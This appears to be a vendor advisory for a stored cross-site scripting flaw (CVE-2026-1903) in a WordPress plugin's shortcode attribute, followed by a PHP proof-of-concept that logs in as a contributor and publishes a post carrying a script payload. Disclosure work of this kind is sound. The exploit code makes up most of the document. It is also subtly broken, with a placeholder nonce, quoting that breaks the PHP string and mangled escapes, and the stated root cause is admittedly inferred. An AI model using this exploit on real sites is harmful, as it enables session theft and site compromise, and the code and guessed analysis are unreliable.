Atomic Edge analysis of CVE-2026-1903 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Ravelry Designs Widget WordPress plugin, affecting all versions up to and including 1.0.0. The vulnerability exists in the ‘sb_ravelry_designs’ shortcode’s ‘layout’ attribute. Attackers with contributor-level or higher privileges can inject malicious scripts that execute when any user views a compromised page. The CVSS 3.1 score of 6.4 (Medium severity) reflects the network attack vector, low attack complexity, and scope change impact.
Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping on user-supplied shortcode attributes. The plugin likely registers the shortcode using `add_shortcode(‘sb_ravelry_designs’, …)`. The callback function probably directly echoes or prints the ‘layout’ attribute value without proper escaping via `esc_attr()` or similar WordPress security functions. This conclusion is inferred from the CWE-79 classification and the vulnerability description, as no source code diff is available for confirmation.
Exploitation requires an authenticated user with at least contributor privileges. The attacker would create or edit a post/page containing the malicious shortcode. A typical payload would be `[sb_ravelry_designs layout=”alert(document.domain)”]`. The script executes in visitors’ browsers when they view the compromised content. Attackers could also use more sophisticated payloads that steal session cookies, redirect users, or perform actions on their behalf.
Remediation requires implementing proper output escaping in the shortcode handler. The plugin should use WordPress escaping functions like `esc_attr()` for attribute values and `wp_kses()` for any HTML output. Additionally, input validation should restrict the ‘layout’ attribute to expected values if it has a limited set of valid options. A comprehensive fix would also audit all user-controlled parameters in the shortcode for similar issues.
Successful exploitation allows attackers to execute arbitrary JavaScript in the context of the vulnerable WordPress site. This can lead to session hijacking, administrative actions performed by logged-in users, content defacement, or redirection to malicious sites. The scope change (S:C) in the CVSS vector indicates the vulnerability can affect other site components beyond the plugin itself, potentially compromising the entire WordPress installation.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1903 - Ravelry Designs Widget <= 1.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'sb_ravelry_designs' Shortcode 'layout' Attribute
<?php
/**
* Proof of Concept for CVE-2026-1903
* Assumptions:
* 1. Target site has Ravelry Designs Widget plugin <= 1.0.0 installed
* 2. Valid contributor-level credentials are available
* 3. WordPress is using default admin paths and REST API endpoints
* 4. The 'sb_ravelry_designs' shortcode is registered and functional
*/
$target_url = 'https://vulnerable-wordpress-site.com'; // CONFIGURE THIS
$username = 'contributor_user'; // CONFIGURE THIS
$password = 'contributor_password'; // CONFIGURE THIS
// Step 1: Authenticate and obtain nonce for post creation
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-json/jwt-auth/v1/token',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => json_encode([
'username' => $username,
'password' => $password
]),
CURLOPT_HTTPHEADER => [
'Content-Type: application/json',
'Accept: application/json'
]
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code !== 200) {
// Fallback to standard wp-login if JWT auth fails
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-login.php',
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_HTTPHEADER => [
'Content-Type: application/x-www-form-urlencoded'
],
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt'
]);
curl_exec($ch);
// Get nonce via admin AJAX
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/admin-ajax.php',
CURLOPT_POSTFIELDS => http_build_query([
'action' => 'heartbeat',
'_nonce' => '', // Will be obtained from response
'data' => json_encode(['wp-auth-check' => true])
])
]);
$response = curl_exec($ch);
// Parse nonce from response (simplified - real implementation would extract properly)
$nonce = 'extracted_nonce_here';
} else {
$auth_data = json_decode($response, true);
$token = $auth_data['token'] ?? '';
}
// Step 2: Create a post with malicious shortcode
$malicious_shortcode = '[sb_ravelry_designs layout="<script>alert('XSS via CVE-2026-1903: ' + document.domain)</script>"]';
$post_data = [
'title' => 'Test Post - CVE-2026-1903 PoC',
'content' => 'This post contains a malicious shortcode.nn' . $malicious_shortcode . 'nnView this post to trigger the XSS payload.',
'status' => 'publish'
];
if (isset($token)) {
// Use REST API with JWT
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-json/wp/v2/posts',
CURLOPT_POSTFIELDS => json_encode($post_data),
CURLOPT_HTTPHEADER => [
'Content-Type: application/json',
'Authorization: Bearer ' . $token
]
]);
} else {
// Use admin POST with cookies
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/post.php',
CURLOPT_POSTFIELDS => http_build_query(array_merge($post_data, [
'action' => 'editpost',
'_wpnonce' => $nonce,
'post_type' => 'post',
'submit' => 'Publish'
])),
CURLOPT_HTTPHEADER => [
'Content-Type: application/x-www-form-urlencoded'
]
]);
}
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code === 200 || $http_code === 201) {
echo "PoC successful: Post created with malicious shortcode.n";
echo "Visit the published post to trigger the XSS payload.n";
} else {
echo "PoC failed. HTTP code: $http_coden";
echo "Response: $responsen";
}
curl_close($ch);
?>
